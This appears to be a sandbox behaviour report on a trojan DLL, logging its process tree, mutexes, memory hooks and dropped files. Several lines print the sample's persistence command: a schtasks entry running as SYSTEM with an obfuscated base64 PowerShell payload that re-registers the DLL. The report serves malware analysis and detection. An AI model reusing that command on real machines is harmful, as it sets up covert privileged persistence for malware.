Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 752
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Users\user\Desktop\C.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Users\user\Desktop\C.dll
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\C.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\C.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Users\user\Desktop\C.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Users\user\Desktop\C.dll	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Iaeeomkaq

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERC572.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@28/12@0/1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B19114 GetDiskFreeSpaceA,

0_2_00B19114

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B353DC GetLastError,FormatMessageA,

0_2_00B353DC

Source: C:\Windows\System32\loaddll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\C.dll",#1

Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{A644AA43-420A-4699-971E-B9FC952EE63F}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6540:120:WilError_01
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{B392BFCE-678F-45E7-AC07-60731D963391}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\Global\{F4935CEA-067E-4885-957C-2F62BD7516DF}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7032:120:WilError_01
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{B392BFCE-678F-45E7-AC07-60731D963391}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_01
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{A644AA43-420A-4699-971E-B9FC952EE63F}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5620
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{F4935CEA-067E-4885-957C-2F62BD7516DF}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6124:120:WilError_01

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B2B20C FindResourceA,

0_2_00B2B20C

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C.dll

Static file information: File size 1112443 > 1048576

Source:	Binary string: amstream.pdb source: explorer.exe, 00000004.00000003.324038860.0000000005034000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000019.00000003.394565875.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: explorer.exe, 00000004.00000003.324038860.0000000005034000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000019.00000003.394565875.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00BDB88C push 00BDB8FBh; ret	0_2_00BDB8F3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B1E0B4 push 00B1E230h; ret	0_2_00B1E228
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B398B4 push 00B39984h; ret	0_2_00B3997C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B270A0 push 00B27148h; ret	0_2_00B27140
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B41888 push 00B418B4h; ret	0_2_00B418AC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3F8F8 push 00B3F924h; ret	0_2_00B3F91C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B16838 push 00B16864h; ret	0_2_00B1685C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B27028 push 00B2709Eh; ret	0_2_00B27096
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B2A818 push ecx; mov dword ptr [esp], edx	0_2_00B2A81D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3D854 push 00B3D880h; ret	0_2_00B3D878
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B2A85C push ecx; mov dword ptr [esp], edx	0_2_00B2A861
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3A1CC push 00B3A1F8h; ret	0_2_00B3A1F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B1E2B4 push 00B1E2E0h; ret	0_2_00B1E2D8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B17AD0 push 00B17AFCh; ret	0_2_00B17AF4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B1EAD0 push 00B1EAFCh; ret	0_2_00B1EAF4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B1E234 push 00B1E2A3h; ret	0_2_00B1E29B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3BA28 push 00B3BA54h; ret	0_2_00B3BA4C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3A21C push 00B3A248h; ret	0_2_00B3A240
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B28A0C push 00B28A59h; ret	0_2_00B28A51
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B27244 push 00B27270h; ret	0_2_00B27268
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3BBD4 push 00B3BC00h; ret	0_2_00B3BBF8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B16B00 push 00B16B2Ch; ret	0_2_00B16B24
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B28B44 push 00B28B70h; ret	0_2_00B28B68
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B274B0 push ecx; mov dword ptr [esp], ecx	0_2_00B274B3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3D48C push 00B3D4B8h; ret	0_2_00B3D4B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B274D0 push ecx; mov dword ptr [esp], ecx	0_2_00B274D3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B2A4D4 push ecx; mov dword ptr [esp], edx	0_2_00B2A4D9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3A4D4 push 00B3A500h; ret	0_2_00B3A4F8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B324DC push 00B3256Ch; ret	0_2_00B32564
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3D4C4 push 00B3D4FCh; ret	0_2_00B3D4F4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B3242C push 00B324D7h; ret	0_2_00B324CF

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B3BDCC LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B3BDCC

Source: C.dll.4.dr	Static PE information: real checksum: 0x109ebe should be: 0xa0a4
Source: C.dll	Static PE information: real checksum: 0x109ebe should be: 0x110071

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

File created: C:\Users\user\Desktop\C.dll

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\System32\loaddll32.exe	Memory written: PID: 812 base: 38F380 value: E9 63 6E EA 02			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 6812 base: 38F380 value: E9 63 6E C2 02			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B39C84 IsIconic,GetWindowPlacement,GetWindowRect,	0_2_00B39C84
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00A212A4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	2_2_00A212A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009F9C84 IsIconic,GetWindowPlacement,GetWindowRect,	2_2_009F9C84

Source: C:\Windows\System32\loaddll32.exe

0_2_00B3BDCC

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
